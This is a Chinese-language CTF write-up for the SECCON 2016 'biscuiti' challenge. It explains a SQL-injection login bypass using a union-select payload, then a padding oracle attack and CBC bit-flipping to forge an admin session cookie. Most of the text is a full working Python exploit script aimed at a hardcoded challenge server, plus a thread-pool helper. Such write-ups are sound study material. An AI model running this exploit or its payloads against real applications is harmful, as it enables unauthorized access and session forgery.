题目考点:SQL注入、Padding_oracle
分析题目源码,可以发现,要想获取flag,只需要以管理员身份登录即可。
但出题人留了个坑,其从数据库中仅查询了usernam、enc_password字段,并无isadmin字段,所以即便登录成功,默认肯定不是admin用户。
然后继续分析,可以发现其cookie验证逻辑使用的是基于aes-128-cbc的加解密。
其将用户session进行序列化后,以加密的形式存储到cookie中。
因为session是保存在cookie中的,所以我们可以尝试对其进行修改。通过传统解密方式的话,我们发现题目中所给的ENC_KEY,并不是部署环境中的key,所以没法直接进行解密修改。
但因为其采用了不安全的加密方式,即CBC模式,其因为分组加密的特性。导致我们可以去对其进行爆破,得到iv值,进而继续爆破,得到明文。也就是padding oracle攻击。然后在通过cbc翻转攻击来对cookie内容进行修改即可。
那接下来的主要要点就是两点,一、登陆成功。二、构造padding oracle攻击。
登陆这里,我们可以发现是存在一个SQL注入的。在这里,我们可以采用联合查询来去让其获取到我们想要的数据。
即:
username=' union select 'hello','hello&password=
此时便有了Cookie,按照Cookie内容,我们去构造即可。
详见ssst0n3s师傅超级详细的wp:https://github.com/ssst0n3/ctf-wp/tree/master/2016/seccon/WEB/biscuiti
附上ssst0n3师傅的脚本flag.py && tomorrow_change.py。使用时不建议开启多线程
# coding=utf-8
"""
/flag.py
sql injection, padding oracle attack to recover the cipher
padding oracle attack
————————————————————————
http://robertheaton.com/2013/07/29/padding-oracle-attack/
http://blog.zhaojie.me/2010/10/padding-oracle-attack-in-detail.html
https://en.wikipedia.org/wiki/Padding_oracle_attack
"""
import time
import base64
import requests
from urllib import unquote
from urllib import quote
# 对tomorrow做了一点修改,可以提前取消线程池中不需要完成的子线程
from tomorrow_change import threads
from tomorrow_change import clear_pools
from tomorrow_change import check_pools_all_done
# 是否使用多线程
# USE_MULTI = True
USE_MULTI = False
# 子线程临时存储变量
TEMP_CONTAINER_FOR_MULTI_THREADS = -1
# 最大线程数量
MAX_THREADS_NUM = 100
# challenge真实地址
URL_REMOTE = "http://220.249.52.133:55594/"
# 本地测试环境地址
URL_LOCAL = "http://127.0.0.1:8810/"
# url = URL_LOCAL
url = URL_REMOTE
def xor(str_a, str_b):
"""
两个字符串异或, 以字符串a的长度为准
"""
return "".join([chr(ord(str_a[i]) ^ ord(str_b[i % len(str_b)])) for i in xrange(len(str_a))])
def pad(text):
"""
根据PKCS#7, 分组加密算法对最后一个block作填充,如明文刚好被16整除,则填充'\x00'*16
https://tools.ietf.org/html/rfc2315
:param text:
:return:
"""
return text + chr(16 - len(text)) * (16 - len(text))
def sql_injection(payload_username, payload_enc_password):
"""
username字段未做过滤,可以利用union语句伪造用户名,密码,从而绕过登陆验证。
:param payload_username: sql中的username字段
:param payload_enc_password: sql中的enc_password字段
:return: 返回请求的响应信息
"""
payload_enc_password = base64.b64encode(payload_enc_password)
username = "' union select '{username}','{enc_password}".format(username=payload_username,
enc_password=payload_enc_password)
data = {"username": username, "password": ""}
try:
r = requests.post(url, data=data)
return r
except requests.ConnectionError:
print "ConnectionError, Redo"
return sql_injection(payload_username, payload_enc_password)
@threads(MAX_THREADS_NUM)
def sql_injection_multi_thread(i, payload_username, payload_enc_password):
"""
username字段未做过滤,可以利用union语句伪造用户名,密码,从而绕过登陆验证。
:param i: 被遍历的参数
:param payload_username: sql中的username字段
:param payload_enc_password: sql中的enc_password字段
:return: 返回请求的响应信息
"""
global TEMP_CONTAINER_FOR_MULTI_THREADS
payload_enc_password = base64.b64encode(payload_enc_password)
username = "' union select '{username}','{enc_password}".format(username=payload_username,
enc_password=payload_enc_password)
data = {"username": username, "password": ""}
r = requests.post(url, data=data)
if "Hello" not in r.text:
TEMP_CONTAINER_FOR_MULTI_THREADS = i
def get_jsession(payload_username):
"""
获得登陆的jsession
enc_password和password都置空,使index.php中auth函数的openssl_decrypt解密操作失败,返回False,从而绕过$password==$input
服务端将session设置在cookie中的jsession字段, 从cookies中获得即可
:return: jsession: 'a:2:{s:4:"name";s:5:"admin";s:7:"isadmin";N;}\x11\x899A\x99Q\xe0D\xc2\x94\xcc\x1f\rO\x17\''
"""
r = sql_injection(payload_username=payload_username, payload_enc_password="")
try:
jsession = base64.b64decode(unquote(r.cookies["JSESSION"]))
except KeyError:
print "KeyError, redo"
return get_jsession(payload_username)
return jsession
def padding_oracle_attack(imd, cipher):
"""
利用enc_password字段构造密文,利用padding oracle attack进行遍历,得到密文/明文/中间值/iv
如果爆破的那一位正确,则index.php中auth函数的openssl_decrypt解密操作成功,返回True, $password==$input不能满足
:param cipher: 这一段的密文
:param imd: Intermediary Value, 这一段的中间值
:return: chr(i): 上一段密文的某一位的值
"""
global TEMP_CONTAINER_FOR_MULTI_THREADS
iv = chr(0) * 16
for i in range(256):
# mid ^ chr(len(imd) + 1)
last_cipher_know = xor(imd, chr(len(imd) + 1))
payload_enc_password = iv + 'a' * (15 - len(imd)) + chr(i) + last_cipher_know + cipher
if USE_MULTI:
sql_injection_multi_thread(i, payload_username='a' * 26, payload_enc_password=payload_enc_password)
else:
r = sql_injection(payload_username='a'*26, payload_enc_password=payload_enc_password)
if "Hello" not in r.text:
return chr(i)
# 会不会出现巧合呢?
# 例如,目前需要碰撞得到填充字符为5个'\x05'的密文后五位。
# 而密文倒数第6位恰好是'a',从而得到6*'\x06',通过了openssl_decrypt()。
# 此时得到的倒数第5位密文依然正确吗
# 但我们认为这是小概率事件,针对同一个秘钥,出现这个情况时,换一个填充字符即可。
# if "Hello" not in r.text:
# payload_enc_password = iv + 'b' * (15 - len(imd)) + chr(i) + last_cipher_know + cipher
# r = sql_injection(payload_username='a' * 26, payload_enc_password=payload_enc_password)
# if "Hello" not in r.text:
# print repr(payload_enc_password)
# return chr(i)
# else:
# print "Found something strange"
# return
while TEMP_CONTAINER_FOR_MULTI_THREADS == -1:
time.sleep(0.1)
if check_pools_all_done():
print "pools all done, but not crack."
clear_pools()
return padding_oracle_attack(imd, cipher)
chr_i = chr(TEMP_CONTAINER_FOR_MULTI_THREADS)
TEMP_CONTAINER_FOR_MULTI_THREADS = -1
clear_pools()
return chr_i
def get_list_of_original_cipher_and_plain(jsession):
"""
利用padding oracle attack, 得到明文和密文
:return: list_plain, list_cipher
"""
# 根据index.php源码, jsession后16位,为aes-128-cbc最后一个block的密文,之前的部分为serialize($SESSION)
plain_text = jsession[:-16]
list_plain = []
for i in range(len(plain_text) / 16):
list_plain.append(plain_text[i * 16: (i + 1) * 16])
list_plain.append(pad(plain_text[len(plain_text) / 16 * 16:]))
list_cipher = [""] * len(list_plain)
list_cipher[len(list_plain) - 1] = jsession[-16:]
# padding oracle attack, 以此得到前一个block的密文
for i in range(len(list_plain) - 1, 0, -1):
imd = ""
for j in range(1, 16 + 1):
print "block {block_number} : the {cipher_index}/16 cipher text".format(block_number=i, cipher_index=j)
chr_j = padding_oracle_attack(imd, list_cipher[i])
imd = xor(chr_j, chr(j)) + imd
# 中间值和明文异或,得到上一个block的密文
list_cipher[i - 1] = xor(imd, list_plain[i])
return list_plain, list_cipher
def get_new_cipher_2(list_cipher):
"""
p2' = c1^c3^p4'
c2' = encrypt(p2'^c1) = encrypt(c3^p4')=c4'
:param list_cipher: original cipher
:return: new_jsession: new jsession
"""
new_plain_2 = xor(xor(list_cipher[1], list_cipher[3]), pad("b:1;}"))
new_jsession = get_jsession(payload_username='a'*10 + new_plain_2)
return new_jsession
def main():
time_start = time.time()
# get original plain, cipher
jsession = get_jsession('a'*26)
list_plain, list_cipher = get_list_of_original_cipher_and_plain(jsession)
print list_plain
print list_cipher
# get new plain, cipher
new_jsession = get_new_cipher_2(list_cipher)
new_list_plain, new_list_cipher = get_list_of_original_cipher_and_plain(new_jsession)
print new_list_plain
print new_list_cipher
# Note: 需要用quote进行url编码,否则php中会把‘+’解析成空格
cookies = {"JSESSION": quote(base64.b64encode("".join(list_plain[:-1]) + "b:1;}" + new_list_cipher[2]))}
print cookies
print len(cookies["JSESSION"])
print repr(base64.b64decode(unquote(cookies["JSESSION"])))
r = requests.get(url, cookies=cookies)
print r.content
time_end = time.time()
print time_end - time_start
if __name__ == "__main__":
main()
tomorrow_change.py
# tomorrow_change.py
from functools import wraps
from concurrent.futures import ThreadPoolExecutor
import time
pools = []
def clear_pools():
count = 0
global pools
for p in pools:
if not p.done():
p.cancel()
count += 1
print count, "requests cancelled"
pools = []
def check_pools_all_done():
for p in pools:
if not p.done():
return False
return True
class Tomorrow():
def __init__(self, future, timeout):
self._future = future
self._timeout = timeout
pools.append(future)
def __getattr__(self, name):
result = self._wait()
return result.__getattribute__(name)
def _wait(self):
return self._future.result(self._timeout)
def async(n, base_type, timeout=None):
def decorator(f):
if isinstance(n, int):
pool = base_type(n)
elif isinstance(n, base_type):
pool = n
else:
raise TypeError(
"Invalid type: %s"
% type(base_type)
)
@wraps(f)
def wrapped(*args, **kwargs):
return Tomorrow(
pool.submit(f, *args, **kwargs),
timeout=timeout
)
return wrapped
return decorator
def threads(n, timeout=None):
return async(n, ThreadPoolExecutor, timeout)
time.sleep(5)